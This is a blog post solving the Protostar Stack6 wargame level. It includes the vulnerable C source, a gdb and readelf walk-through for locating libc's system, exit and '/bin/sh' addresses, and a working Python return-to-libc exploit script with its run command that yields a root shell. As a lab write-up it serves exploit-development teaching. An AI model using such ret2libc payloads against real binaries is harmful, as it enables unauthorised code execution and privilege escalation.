In this post we will continue with the resolution of the challenges of Protostar, I recommend you to read the previous posts where we solve the first 6 challenges: (0-2) (3-4) (5).
As I said in the previous entries, I’m not an expert in exploit development, so if you have any correction or recommendation don’t hesitate to comment on it.
Stack 6
Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
Reading the source code we understand that we will not be able to solve this challenge like the previous one since we will not be able to redirect the EIP to our shellcode. It will detect that we have modified the return address of the getpath() function to the stack.
If you still can’t see why, let’s prove it by trying to redirect the return address to the stack (where our shellcode would be)
As you can see if we try to modify the return address, the program returns:
“input path please: bzzzt”
On the other hand, if it is not modified, it returns:
“got path”
Suppose now that we do not have the source code, disassemble the main() and getpath():
In <getpath+49> the EAX setted with the value of [ebp-0xc]
In <getpath+52> it executes the operation EAX & 0xbf000000
In <getpath+57> the result of the previous operation is compared with 0xbf000000: if the EAX (after the AND) is equal to 0xbf000000 it exits (since it means that the return address has been modified)
Let’s see practically, we will set a breakpoint in <getpath + 52> to check the value of the EAX record and we see that it is the return address:
As if the binary was compiled with NX strong> we will not be able to run a shellcode loaded on the stack, what do we do now?
As we read in Wikipedia strong>: “A non-executable stack can prevent some buffer overflow exploitation, however it cannot prevent a return-to-libc attack because in the return-to-libc attack only existing executable code is used.”
Basically in a return-to-libc exploit we have to overwrite the return address with the address of a function present in the process (in the C libraries) as the System function.
Let’s find the length of the padding, the address of the System function, the exit function, and the “/bin/sh” string. > present in the C library of the process.
Let’s find the length of the padding:
· Let’s find the addresses of System, exit and “/bin/sh”
# The base (gdb) info proc map 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so $ readelf -s /lib/libc-2.11.2.so | grep system 1399: 00038fb0 125 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 # or (gdb) p system $ readelf -s /lib/libc-2.11.2.so | grep exit 136: 0002f0c0 47 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 # oor (gdb) p exit $ strings -tx /lib/libc-2.11.2.so | grep "/bin/sh" 11f3bf /bin/sh
We have to add these addresses to the base (in our case 0xb7e97000):
base = 0xb7e97000 sys = base + 0x038fb0 exit = base + 0x0002f0c0 binsh = base + 0x011f3bf
Let’s develop the exploit:
import struct def m32(dir): return struct.pack("I",dir) padding = "A" * 80 base = 0xb7e97000 sys = m32(base + 0x038fb0) exit = m32(base + 0x0002f0c0) binsh = m32(base + 0x011f3bf) print padding + sys + exit + binsh
(python stack6.py;cat)|./stack6
We are already able to execute commands as root; this method helps us to bypass the NX but not the ASLR
0 Comments
1 Pingback